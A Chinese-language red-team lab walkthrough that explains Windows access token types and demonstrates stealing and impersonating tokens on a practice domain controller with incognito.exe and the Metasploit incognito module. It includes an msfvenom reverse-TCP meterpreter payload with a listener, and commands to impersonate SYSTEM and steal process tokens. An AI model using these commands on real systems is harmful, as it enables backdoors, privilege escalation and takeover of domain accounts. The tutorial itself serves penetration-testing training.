前言
本文包括:令牌的基本概念和种类,以及在windows靶场环境下访问令牌的窃取利用,靶场为ATT&CK红队评估实战靶场(二)的DC靶机。
一、Token的作用
1)令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
2)令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
二、令牌的种类
- 访问令牌(Access Token):表示访问控制操作主体的系统对象 。
- 会话令牌(Session Token):是交互会话中唯一的身份标识符。
- 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身 份校验的物理设备,例如 U 盾。
Windows 的 AccessToken 有两种类型:
- Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接 登录、远程桌面登录访问)
- Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use 访问共享文件夹)。
注:两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation,依旧有效。
三、AccessToken 的窃取与利用
1.incognito.exe程序
1)AccessToken 的窃取与利用需要 administrator 管理员权限。也就是说要提权。
2)窃取 AccessToken 的方法有:incognito.exe 程序 、InvokeTokenManipulat.ps1 脚本 、MSF 里的 incognito 模块。
3)下面演示使用incognito.exe程序窃取令牌并利用。先把incognito.exe工具放进靶机,然后使用以下命令。工具下载链接为:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip。
命令 | 解释 |
---|---|
incognito.exe list_tokens -u | AccessToken 的列举(需要 administrator 权限) |
incognito.exe execute -c “完整的 Token 名” cmd.exe | 模拟其他用户的令牌(复制 token) |
4)此时是administrator 权限满足要求,使用incognito.exe程序列举token的用户。
5)模拟其他用户的token令牌登录系统,此时我们是管理员用户,使用命令模拟成系统用户,还可以模拟成当前用户和其他的域内普通用户等等。
2.MSF 下的 incognito 模块
use incognito #加载incognito模块
list_tokens -u #列出AccessToken
getuid #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system 用户,getsystem 命令,即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 #从进程窃取token
getsystem #提升至system 权限
rev2self #返回到之前的AccessToken 权限
3.MSF方式令牌窃取靶机演示
1)先生成一个msf的后门shell.exe。
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=25001 LHOST=10.10.10.25 -f exe -o shell.exe
2)msf开启监听端口。
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.25 // 你设置监听的ip
set lport 25001 // 你设置监听的端口
exploit
3)把生成的后门通过各种方法传递到靶机上然后运行。
4)成功获取会话。
5)进入incognito模块并列举访问令牌,windows下可以列举出授权令牌 (Delegation Token)和模拟令牌(Impresonation)这两种访问令牌。
use incognito #加载incognito模块
list_tokens -u #列出AccessToken
6)开始伪造令牌,模拟system权限的用户。
getuid #查看当前token
# 模拟system用户,getsystem 命令,即实现了该命令。
# 如果要模拟其他用户,将 token 名改为其他用户即可
impersonate_token "NT AUTHORITY\SYSTEM"
7)除了可以伪造令牌,也可以从进程里窃取令牌。首先使用 ps 命令列出进程,查看进程用户。
8)查看好拥有system权限的进程的pid,然后使用 steal_token命令,窃取进程对应的令牌就有对应的权限。
steal_token 2228 #从进程窃取token
9)直接利用system窃取令牌,然后返回之前的 token。
getsystem # 提升至system 权限
rev2self # 返回到之前的AccessToken 权限